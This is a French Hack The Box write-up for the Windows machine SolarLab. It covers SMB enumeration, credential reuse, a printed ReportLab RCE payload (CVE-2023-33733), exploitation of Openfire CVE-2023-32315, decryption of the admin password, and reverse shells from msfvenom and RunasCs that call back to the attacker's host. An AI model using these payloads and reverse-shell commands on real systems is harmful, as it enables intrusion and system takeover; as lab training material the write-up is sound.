HTB: SolarLab
- Platforme: Hack The Box
- Lien: SolarLab
- Niveau: Moyen
- OS: Windows
SolarLab commence par un site web qui n’offre aucune voie d’exploitation directe. Après avoir énuméré SMB, nous découvrons des informations d’identification dans un partage de fichiers. Ces identifiants permettent d’accéder à ReportHub, accessible par le biais d’un sous-domaine découvert lors du balayage. En examinant ses fonctionnalités, nous identifions qu’il génère des PDF en utilisant la bibliothèque ReportLab vulnérable au CVE-2023-33733. Grâce à cette vulnérabilité, nous obtenons notre accès initial et trouvons le drapeau utilisateur.
Une exploration plus poussée révèle plusieurs services internes, y compris une console d’administration Openfire accessible via un tunnel. Le logiciel est obsolète, ce qui nous permet d’exploiter le CVE-2023-32315 pour obtenir un autre shell avec plus de privilèges. Enfin, en décryptant les informations d’identification trouvées dans un fichier Openfire, nous obtenons un shell d’administration et récupérons le drapeau root.
Addresse IP cibe - 10.10.11.16
Balayage
nmap -sC -sV -oA nmap/SolarLab -p- 10.10.11.16
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-20 13:32 CDT
Nmap scan report for 10.10.11.16
Host is up (0.052s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-20T18:35:13
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.37 seconds
Ports découverts :
- 80 - HTTP avec Nginx 1.24.0 redirigeant vers
http://solarlab.htb/
- 135 - RPC
- 139 (NetBIOS) & 445 (SMB)
- 6791 - HTTP avec nginx avec une seconde redirection vers
http://report.solarlab.htb:6791/
Mettons à jour le fichier hosts.
sudo echo "10.10.11.16 solarlab.htb report.solarlab.htb" | sudo tee -a /etc/hosts
Enumération
Le site web propose un service de messagerie censé être “inviolable”.
Le code source de la page web ne révèle rien d’utile.
Après avoir énuméré SMB, nous constatons que nous pouvons lire le partage Documents
.
netexec smb 10.10.11.16 -u Guest -p "" --shares
Nous utilisons smbclient pour accéder au partage et trouvons quatre fichiers, deux juste après avoir accédé au partage et deux fichiers supplémentaires dans le répertoire concepts
:
details-file.xlsx
old_leave_request_form.docx
Training-Request-Form.docx
Travel-Request-Sample.docx
smbclient //10.10.11.16/Documents -U Guest
Nous pouvons télécharger tous les fichiers avec get
.
Après avoir examiné chaque document, nous trouvons des informations d’identification dans le fichier details-file.xlsx
.
Jusque-là, la seule façon d’utiliser ces informations d’identification est d’utiliser le protocole SMB. Il s’avère que ces informations d’identification sont valides mais les partages disponibles sont toujours les mêmes que ceux auxquels nous pouvions accéder avec le compte guest.
netexec smb 10.10.11.16 -u KAlexander -p "dkjafblkjadsfgl"
netexec smb 10.10.11.16 -u blake -p "ThisCanB3typedeasily1@"
netexec smb 10.10.11.16 -u ClaudiaS -p "dadsfawe9dafkn"
L’énumération des répertoires est également infructueuse.
gobuster dir -u http://solarlab.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Examinons le sous-domaine. Lorsque nous allons sur http://report.solarlab.htb:6791/
, nous trouvons un formulaire de connexion pour ReportHub.
Les seules informations d’identification dont nous disposons jusqu’à présent sont celles du fichier de mots de passe. Après plusieurs tentatives, nous parvenons à nous connecter avec blakeb:ThisCanB3typedeasily1@
.
Nous pouvons choisir l’option souhaitée, remplir le formulaire et obtenir un fichier pdf. Nous pouvons également télécharger une image pour la signature (ce qui pourrait être un moyen d’exploiter la cible).
Voici un exemple du PDF généré.
Accès Initial
En utilisant exiftool sur le PDF généré, nous découvrons qu’il est produit par reportlab.
exiftool output.pdf
Nous trouvons un PoC pour Reportlab (CVE-2023-33733 ) qui mène à un RCE ici .
J’utilise ici l’option
Travel Approval
mais vous pouvez faire fonctionner l’exploit avec les autres options.
Après avoir capturé la requête et l’avoir envoyée au repeater avec Burp, nous insérons notre payload et nous nous assurons que la valeur filename
correspond à celle de Content-Type
.
Nous obtenons un shell inversé sur revshells en utilisant l’option
PowerShell #3 (Base64)
.
Payload utilisé
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('INSERT_REVSHELL_HERE') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Sur notre listener, nous obtenons un shell en tant que Blake et le drapeau utilisateur se trouve dans le répertoire Desktop.
Shell openfire
Nous constatons la présence d’un autre utilisateur openfire
sur la cible .
Avec netstat -ano
nous obtenons tous les services fonctionnant sur la cible. Pour accéder aux services internes, nous utilisons le tunneling.
Personnellement, je préfère ligolo-ng , mais vous pouvez également utiliser chisel .
Après avoir essayé plusieurs ports, nous trouvons une console d’administration Openfire sur le port 9090.
Aucune des informations d’identification dont nous disposons ne fonctionne. Je reconnais cette version obsolète d’Openfire, elle est vulnérable au CVE-2023-32315 avec un PoC disponible ici .
La méthode d’exploitation est la même pour HTB: Jab, mais nous avions déjà les identifiants pour nous connecter à la console.
- Nous nous connectons avec le compte nouvellement créé
python3 CVE-2023-32315.py -t http://240.0.0.1:9090
Une fois connecté, nous devons télécharger un plugin malveillant dans la section Plugin
. Le plugin malveillant est le fichier openfire-management-tool-plugin.jar
disponible sur le repo du PoC sur Github.
Allez dans Server
–> Server Settings
–> Management Tool
, entrez le mot de passe 123
et cliquez sur Login
. Vous obtenez des informations sur le serveur.
Sélectionnez system command
dans le menu déroulant.
De retour sur revshells
nous obtenons un autre shell inversé Powershell et après l’avoir exécuté, nous obtenons un shell en tant que openfire
.
Elévation de Privilèges (shell admin)
Nous n’avons toujours pas accès au compte administrateur, mais après une exploration du système, nous trouvons un fichier appelé openfire.script
dans C:\Program Files\Openfire\embedded-db
.
Le fichier contient les informations d’identification de l’utilisateur admin mais le mot de passe doit être décrypté. Heureusement, nous avons le hachage du mot de passe et la clé.
- Password hash:
becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442
- Key value:
hGXiFzsKaAeYLjn
Nous pouvons décrypter le mot de passe avec openfire_decrypt en utilisant la commande ci-dessous.
java OpenFireDecryptPass [PASSWORD_HASH] [KEY_VALUE]
Les identifiants de l’administrateur sont: admin:ThisPasswordShouldDo!@
Les tentatives de connexion avec Evil-WinRM ne fonctionnant pas, nous avons recours à RunasCs.
msfvenom -p windows/x64/shell_reverse_tcp lhost=YOUR_IP lport=PORT_NUMBER -f exe -a x64 --platform windows -o shell.exe
Après avoir envoyé shell.exe
et RunasCs.exe
à la cible, nous exécutons la commande ci-dessous.
.\runascs.exe administrator ThisPasswordShouldDo!@ powershell -r 10.10.14.176:5555
Nous obtenons un shell en tant qu’administrateur et nous pouvons lire le drapeau root dans le répertoire Desktop.